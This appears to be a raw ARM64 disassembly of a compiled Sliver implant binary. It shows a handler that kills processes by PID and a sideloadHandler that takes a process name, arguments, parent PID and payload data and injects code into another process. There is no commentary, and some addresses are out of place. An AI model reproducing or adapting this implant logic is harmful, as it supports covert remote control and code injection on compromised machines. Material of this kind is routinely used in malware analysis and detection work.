00505c28add sp, sp, 384
00505c2cret x30
00505c30
00505c30loc_505c30:
00505c30stp xzr, xzr, [sp+72]
00505c34ldr x1, [sp+64]
00505c38ldrsb x27, [x1]
00505c3cldrsw x1, [x1+8]
00505c40subs xzr, x1, 1
00505c44cset x1, le
00505c48strb w1, [sp+55]
00505c4cb.le 0x505c54
00505c50b 0x505c6c
00505c54
00505c54loc_505c54:
00505c54ldr x1, [sp+64]
00505c58ldrsb x27, [x1]
00505c5cldrb w1, [x1+12]
00505c60eor x1, x1, 1
00505c64strb w1, [sp+55]
00505c68b 0x505c70
00505c6c
00505c6cloc_505c6c:
00505c6cb 0x505c70
00505c70
00505c70loc_505c70:
00505c70ldrb w1, [sp+55]
00505c74tbnz w1, 0, 0x505c7c
00505c78b 0x505c94
00505c7c
00505c7cloc_505c7c:
00505c7cadrp x1, 0x1c4000
00505c80add x1, x1, 3847
00505c84str x1, [sp+72]
00505c88movz x1, 52
00505c8cstr x1, [sp+80]
00505c90b 0x505d94
00505c94
00505c94loc_505c94:
00505c94ldr x1, [sp+64]
00505c98ldrsb x27, [x1]
00505c9cldrsw x1, [x1+8]
00505ca0mov x0, x1
00505ca4str x0, [sp+56]
00505ca8bl github.com/bishopfox/sliver/implant/sliver/ps.Kill
00505cacstr x0, [sp+88]
00505cb0str x1, [sp+96]
00505cb4cbnz x0, 0x505cbc
00505cb8b 0x505d8c
00505cbc
00505cbcloc_505cbc:
00505cbcstp xzr, xzr, [sp+104]
00505cc0add x5, sp, 104
00505cc4str x5, [sp+232]
00505cc8ldr x5, [sp+88]
00505cccldr x6, [sp+96]
00505cd0str x5, [sp+216]
00505cd4str x6, [sp+224]
00505cd8str x5, [sp+208]
00505cdcldr x5, [sp+208]
00505ce0cbnz x5, 0x505ce8
00505ce4b 0x505cf8
00505ce8
00505ce8loc_505ce8:
00505ce8ldr x5, [sp+208]
00505cecldr x5, [x5+8]
00505cf0str x5, [sp+208]
00505cf4b 0x505cfc
00505cf8
00505cf8loc_505cf8:
00505cf8b 0x505cfc
00505cfc
00505cfcloc_505cfc:
00505cfcldr x5, [sp+232]
00505d00ldrsb x27, [x5]
00505d04ldr x6, [sp+208]
00505d08ldr x7, [sp+224]
00505d0cstr x6, [x5]
00505d10adrp x27, 0x546000
00505d14ldr w6, [x27+3056]
00505d18cbz w6, 0x505d20
00505d1cb 0x505d24
00505d20
00505d20loc_505d20:
00505d20b 0x505d38
00505d24
00505d24loc_505d24:
00505d24bl runtime.gcWriteBarrier2
00505d28str x7, [x25]
00505d2cldr x6, [x5+8]
00505d30str x6, [x25+8]
00505d34b 0x505d38
00505d38
00505d38loc_505d38:
00505d38str x7, [x5+8]
00505d3cldr x2, [sp+232]
00505d40ldrsb x27, [x2]
00505d44b 0x505d48
00505d48
00505d48loc_505d48:
00505d48str x2, [sp+240]
00505d4corr x4, xzr, 1
00505d50str x4, [sp+248]
00505d54str x4, [sp+256]
00505d58adrp x0, 0x1b4000
00505d5cadd x0, x0, 2529
00505d60movz x1, 25
00505d64mov x3, x4
00505d68bl log.Printf
00505d6cldr x5, [sp+88]
00505d70ldrsb x27, [x5]
00505d74ldr x5, [x5+24]
00505d78ldr x0, [sp+96]
00505d7cblr x5
00505d80str x0, [sp+72]
00505d84str x1, [sp+80]
00505d88b 0x505d90
00505d8c
00505d8cloc_505d8c:
00505d8cb 0x505d90
00505d90
00505d90loc_505d90:
00505d90b 0x505d94
00505d94
00505d94loc_505d94:
00505d94adrp x0, 0x16b000
00505d98add x0, x0, 1856
00505d9cbl runtime.newobject
00505da0str x0, [sp+200]
00505da4adrp x27, 0x546000
00505da8ldr w1, [x27+3056]
00505daccbz w1, 0x505db4
00505db0b 0x505db8
00505db4
00505db4loc_505db4:
00505db4b 0x505dd4
00505db8
00505db8loc_505db8:
00505db8str x0, [sp+176]
00505dbcmov x1, x0
00505dc0adrp x0, 0x16b000
00505dc4add x0, x0, 1856
00505dc8bl runtime.wbZero
00505dccldr x0, [sp+176]
00505dd0b 0x505dd4
00505dd4
00505dd4loc_505dd4:
00505dd4stp xzr, xzr, [x0]
00505dd8stp xzr, xzr, [x0+16]
00505ddcstp xzr, xzr, [x0+32]
00505de0str xzr, [x0+48]
00505de4ldr x1, [sp+200]
00505de8ldrsb x27, [x1]
00505decldr x2, [sp+64]
00505df0ldrsb x27, [x2]
00505df4ldrsw x2, [x2+8]
00505df8str w2, [x1+8]
00505dfcadrp x0, 0x180000
00505e00add x0, x0, 3648
00505e04bl runtime.newobject
00505e08str x0, [sp+192]
00505e0cadrp x27, 0x546000
00505e10ldr w1, [x27+3056]
00505e14cbz w1, 0x505e1c
00505e18b 0x505e20
00505e1c
00505e1cloc_505e1c:
00505e1cb 0x505e3c
00505e20
00505e20loc_505e20:
00505e20str x0, [sp+168]
00505e24mov x1, x0
00505e28adrp x0, 0x180000
00505e2cadd x0, x0, 3648
00505e30bl runtime.wbZero
00505e34ldr x0, [sp+168]
00505e38b 0x505e3c
00505e3c
00505e3cloc_505e3c:
00505e3cmov x20, x0
00505e40adr x27, 16
00505e44stp x29, x27, [sp-24]
00505e48sub x29, sp, 24
00505e4cbl fn_87cf8
00505e50sub x29, sp, 8
00505e54ldr x2, [sp+192]
00505e58ldrsb x27, [x2]
00505e5cldr x3, [sp+72]
00505e60ldr x4, [sp+80]
00505e64str x4, [x2+16]
00505e68adrp x27, 0x546000
00505e6cldr w4, [x27+3056]
00505e70cbz w4, 0x505e78
00505e74b 0x505e7c
00505e78
00505e78loc_505e78:
00505e78b 0x505e90
00505e7c
00505e7cloc_505e7c:
00505e7cbl runtime.gcWriteBarrier2
00505e80str x3, [x25]
00505e84ldr x4, [x2+8]
00505e88str x4, [x25+8]
00505e8cb 0x505e90
00505e90
00505e90loc_505e90:
00505e90str x3, [x2+8]
00505e94ldr x2, [sp+200]
00505e98ldrsb x27, [x2]
00505e9cldr x3, [sp+192]
00505ea0adrp x27, 0x546000
00505ea4ldr w4, [x27+3056]
00505ea8cbz w4, 0x505eb0
00505eacb 0x505eb4
00505eb0
00505eb0loc_505eb0:
00505eb0b 0x505ec8
00505eb4
00505eb4loc_505eb4:
00505eb4bl runtime.gcWriteBarrier2
00505eb8str x3, [x25]
00505ebcldr x4, [x2+16]
00505ec0str x4, [x25+8]
00505ec4b 0x505ec8
00505ec8
00505ec8loc_505ec8:
00505ec8str x3, [x2+16]
00505eccldr x2, [sp+200]
00505ed0str x2, [sp+368]
00505ed4stp xzr, xzr, [sp+344]
00505ed8str xzr, [sp+360]
00505edcstp xzr, xzr, [sp+328]
00505ee0ldr x1, [sp+368]
00505ee4adrp x0, 0x20f000
00505ee8add x0, x0, 1088
00505eecbl google.golang.org/protobuf/proto.Marshal
00505ef0str x0, [sp+344]
00505ef4str x1, [sp+352]
00505ef8str x2, [sp+360]
00505efcstr x3, [sp+328]
00505f00str x4, [sp+336]
00505f04ldr x2, [sp+344]
00505f08ldr x3, [sp+352]
00505f0cldr x4, [sp+360]
00505f10str x2, [sp+144]
00505f14str x3, [sp+152]
00505f18str x4, [sp+160]
00505f1cldr x2, [sp+328]
00505f20ldr x3, [sp+336]
00505f24str x2, [sp+128]
00505f28str x3, [sp+136]
00505f2cldr x2, [sp+144]
00505f30ldr x3, [sp+152]
00505f34ldr x4, [sp+160]
00505f38str x2, [sp+392]
00505f3cstr x3, [sp+400]
00505f40str x4, [sp+408]
00505f44ldr x3, [sp+128]
00505f48ldr x4, [sp+136]
00505f4cstr x3, [sp+88]
00505f50str x4, [sp+96]
00505f54ldr x0, [sp+392]
00505f58ldr x1, [sp+400]
00505f5cldr x2, [sp+408]
00505f60ldr x26, [sp+416]
00505f64ldr x5, [x26]
00505f68blr x5
00505f6cldp x29, x30, [sp-8]
00505f70add sp, sp, 384
00505f74ret x30
00505f78
00505f78loc_505f78:
00505f78stp x0, x1, [sp+8]
00505f7cstp x2, x3, [sp+24]
00505f80mov x3, x30
00505f84bl runtime.morestack_noctxt.abi0
00505f88ldp x0, x1, [sp+8]
00505f8cldp x2, x3, [sp+24]
00505f90b 0x505ac0
00505f94udf 0
00505f98udf 0
00505f9cudf 0
00505ac0

00505fa0
00505fa0github.com/bishopfox/sliver/implant/sliver/handlers.sideloadHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.sideloadHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
00505fa0ldr x16, [x28+16]
00505fa4sub x17, sp, 320
00505fa8subs xzr, x17, x16
00505facb.ls 0x5063a0
00505fb0sub x20, sp, 448
00505fb4stp x29, x30, [x20-8]
00505fb8add sp, x20, 0
00505fbcsub x29, sp, 8
00505fc0str x0, [sp+456]
00505fc4str x1, [sp+464]
00505fc8str x2, [sp+472]
00505fccstr x3, [sp+480]
00505fd0adrp x0, 0x194000
00505fd4add x0, x0, 2336
00505fd8bl runtime.newobject
00505fdcstr x0, [sp+280]
00505fe0adrp x27, 0x546000
00505fe4ldr w1, [x27+3056]
00505fe8cbz w1, 0x505ff0
00505fecb 0x505ff4
00505ff0
00505ff0loc_505ff0:
00505ff0b 0x506010
00505ff4
00505ff4loc_505ff4:
00505ff4str x0, [sp+256]
00505ff8mov x1, x0
00505ffcadrp x0, 0x194000
00506000add x0, x0, 2336
00506004bl runtime.wbZero
00506008ldr x0, [sp+256]
0050600cb 0x506010
00506010
00506010loc_506010:
00506010mov x20, x0
00506014adr x27, 16
00506018stp x29, x27, [sp-24]
0050601csub x29, sp, 24
00506020bl fn_87ce8
00506024sub x29, sp, 8
00506028ldr x4, [sp+280]
0050602cstr x4, [sp+128]
00506030str x4, [sp+416]
00506034ldr x0, [sp+456]
00506038ldr x1, [sp+464]
0050603cldr x2, [sp+472]
00506040adrp x3, 0x20e000
00506044add x3, x3, 32
00506048bl google.golang.org/protobuf/proto.Unmarshal
0050604cstr x0, [sp+168]
00506050str x1, [sp+176]
00506054cbnz x0, 0x50605c
00506058b 0x506068
0050605c
0050605cloc_50605c:
0050605cldp x29, x30, [sp-8]
00506060add sp, sp, 448
00506064ret x30
00506068
00506068loc_506068:
00506068ldr x0, [sp+128]
0050606cbl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetProcessName
00506070str x0, [sp+400]
00506074str x1, [sp+408]
00506078ldr x0, [sp+128]
0050607cbl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetProcessArgs
00506080str x0, [sp+376]
00506084str x1, [sp+384]
00506088str x2, [sp+392]
0050608cldr x0, [sp+128]
00506090bl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetPPid
00506094str w0, [sp+116]
00506098ldr x0, [sp+128]
0050609cbl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetData
005060a0str x0, [sp+352]
005060a4str x1, [sp+360]
005060a8str x2, [sp+368]
005060acldr x0, [sp+128]
005060b0bl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetArgs
005060b4str x0, [sp+328]
005060b8str x1, [sp+336]
005060bcstr x2, [sp+344]
005060c0stp xzr, xzr, [sp+312]
005060c4stp xzr, xzr, [sp+296]
005060c8ldr x1, [sp+128]
005060ccldrsb x27, [x1]
005060d0ldrb w12, [x1+88]
005060d4strb w12, [sp+115]
005060d8ldr w5, [sp+116]
005060dcldr x2, [sp+376]
005060e0ldr x3, [sp+384]
005060e4ldr x4, [sp+392]
005060e8ldr x6, [sp+352]
005060ecldr x7, [sp+360]
005060f0ldr x8, [sp+368]
005060f4ldr x9, [sp+328]
005060f8ldr x10, [sp+336]
005060fcldr x11, [sp+344]
00506100ldr x0, [sp+400]
00506104ldr x1, [sp+408]
00506108bl github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload
0050610cstr x0, [sp+312]
00506110str x1, [sp+320]
00506114str x2, [sp+296]
00506118str x3, [sp+304]
0050611cldr x1, [sp+312]
00506120ldr x2, [sp+320]
00506124str x1, [sp+224]
00506128str x2, [sp+232]
0050612cldr x1, [sp+296]
00506130ldr x2, [sp+304]
00506134str x1, [sp+208]
00506138str x2, [sp+216]
0050613cldr x1, [sp+224]
00506140ldr x2, [sp+232]
00506144str x1, [sp+136]
00506148str x2, [sp+144]
0050614cldr x1, [sp+208]
00506150ldr x2, [sp+216]
00506154str x1, [sp+168]
00506158str x2, [sp+176]
0050615cstp xzr, xzr, [sp+152]
00506160ldr x1, [sp+168]
00506164cbnz x1, 0x50616c
00506168b 0x50618c
0050616c
0050616cloc_50616c:
0050616cldr x1, [sp+168]
00506170ldrsb x27, [x1]
00506174ldr x1, [x1+24]
00506178ldr x0, [sp+176]
0050617cblr x1
00506180str x0, [sp+152]
00506184str x1, [sp+160]
00506188b 0x506190
0050618c
0050618cloc_50618c:
0050618cb 0x506190
00506190
00506190loc_506190:
00506190adrp x0, 0x16a000
00506194add x0, x0, 960
00506198bl runtime.newobject
0050619cstr x0, [sp+272]
005061a0adrp x27, 0x545000
005061a4ldr w1, [x27+3056]
005061a8cbz w1, 0x5061b0
005061acb 0x5061b4
005061b0
005061b0loc_5061b0:
005061b0b 0x5061d0
005061b4
005061b4loc_5061b4:
005061b4str x0, [sp+248]
005061b8mov x1, x0
005061bcadrp x0, 0x16a000
005061c0add x0, x0, 960
005061c4bl runtime.wbZero
005061c8ldr x0, [sp+248]
005061ccb 0x5061d0
005061d0
005061d0loc_5061d0:
005061d0stp xzr, xzr, [x0]
005061d4stp xzr, xzr, [x0+16]
005061d8stp xzr, xzr, [x0+32]
005061dcstp xzr, xzr, [x0+48]
005061e0ldr x1, [sp+272]
005061e4ldrsb x27, [x1]
005061e8ldr x2, [sp+136]
005061ecldr x3, [sp+144]
005061f0str x3, [x1+16]
005061f4adrp x27, 0x545000
005061f8ldr w3, [x27+3056]
005061fccbz w3, 0x506204
00506200b 0x506208
00506204
00506204loc_506204:
00506204b 0x50621c
00506208
00506208loc_506208:
00506208bl runtime.gcWriteBarrier2
0050620cstr x2, [x25]
00506210ldr x3, [x1+8]
00506214str x3, [x25+8]
00506218b 0x50621c
0050621c
0050621cloc_50621c:
0050621cstr x2, [x1+8]
00506220adrp x0, 0x17f000
00506224add x0, x0, 3648
00506228bl runtime.newobject
0050622cstr x0, [sp+264]
00506230adrp x27, 0x545000
00506234ldr w1, [x27+3056]
00506238cbz w1, 0x506240
0050623cb 0x506244
00506240
00506240loc_506240:
00506240b 0x506260
00506244
00506244loc_506244:
00506244str x0, [sp+240]
00506248mov x1, x0
0050624cadrp x0, 0x17f000
00506250add x0, x0, 3648
00506254bl runtime.wbZero
00506258ldr x0, [sp+240]
0050625cb 0x506260
00506260
00506260loc_506260:
00506260mov x20, x0
00506264adr x27, 16
00506268stp x29, x27, [sp-24]
0050626csub x29, sp, 24
00506270bl fn_87cf8
00506274sub x29, sp, 8
00506278ldr x2, [sp+264]
0050627cldrsb x27, [x2]
00506280ldr x3, [sp+152]
00506284ldr x4, [sp+160]
00506288str x4, [x2+16]
0050628cadrp x27, 0x545000
00506290ldr w4, [x27+3056]
00506294cbz w4, 0x50629c
00506298b 0x5062a0
0050629c
0050629cloc_50629c:
0050629cb 0x5062b4
005062a0
005062a0loc_5062a0:
005062a0bl runtime.gcWriteBarrier2
005062a4str x3, [x25]
005062a8ldr x4, [x2+8]
005062acstr x4, [x25+8]
005062b0b 0x5062b4
005062b4
005062b4loc_5062b4:
005062b4str x3, [x2+8]
005062b8ldr x2, [sp+272]
005062bcldrsb x27, [x2]
005062c0ldr x3, [sp+264]
005062c4adrp x27, 0x545000
005062c8ldr w4, [x27+3056]
005062cccbz w4, 0x5062d4
005062d0b 0x5062d8
005062d4
005062d4loc_5062d4:
005062d4b 0x5062ec
005062d8
005062d8loc_5062d8:
005062d8bl runtime.gcWriteBarrier2
005062dcstr x3, [x25]
005062e0ldr x4, [x2+24]
005062e4str x4, [x25+8]
005062e8b 0x5062ec
005062ec
005062ecloc_5062ec:
005062ecstr x3, [x2+24]
005062f0ldr x2, [sp+272]
005062f4str x2, [sp+120]
005062f8str x2, [sp+288]
005062fcstp xzr, xzr, [sp+352]
00506300str xzr, [sp+368]
00506304stp xzr, xzr, [sp+296]
00506308ldr x1, [sp+288]
0050630cadrp x0, 0x20e000
00506310add x0, x0, 64
00506314bl google.golang.org/protobuf/proto.Marshal
00506318str x0, [sp+352]
0050631cstr x1, [sp+360]
00506320str x2, [sp+368]
00506324str x3, [sp+296]
00506328str x4, [sp+304]
0050632cldr x2, [sp+352]
00506330ldr x3, [sp+360]
00506334ldr x4, [sp+368]
00506338str x2, [sp+184]
0050633cstr x3, [sp+192]
00506340str x4, [sp+200]
00506344ldr x2, [sp+296]
00506348ldr x3, [sp+304]
0050634cstr x2, [sp+424]
00506350str x3, [sp+432]
00506354ldr x2, [sp+184]
00506358ldr x3, [sp+192]
0050635cldr x4, [sp+200]
00506360str x2, [sp+456]
00506364str x3, [sp+464]
00506368str x4, [sp+472]
0050636cldr x3, [sp+424]
00506370ldr x4, [sp+432]
00506374str x3, [sp+168]
00506378str x4, [sp+176]
0050637cldr x0, [sp+456]
00506380ldr x1, [sp+464]
00506384ldr x2, [sp+472]
00506388ldr x26, [sp+480]
0050638cldr x5, [x26]
00506390blr x5
00506394ldp x29, x30, [sp-8]
00506398add sp, sp, 448
0050639cret x30
005063a0
005063a0loc_5063a0:
005063a0stp x0, x1, [sp+8]
005063a4stp x2, x3, [sp+24]
005063a8mov x3, x30
005063acbl runtime.morestack_noctxt.abi0
005063b0ldp x0, x1, [sp+8]
005063b4ldp x2, x3, [sp+24]
005063b8b 0x505fa0
005063bcudf 0
00505fa0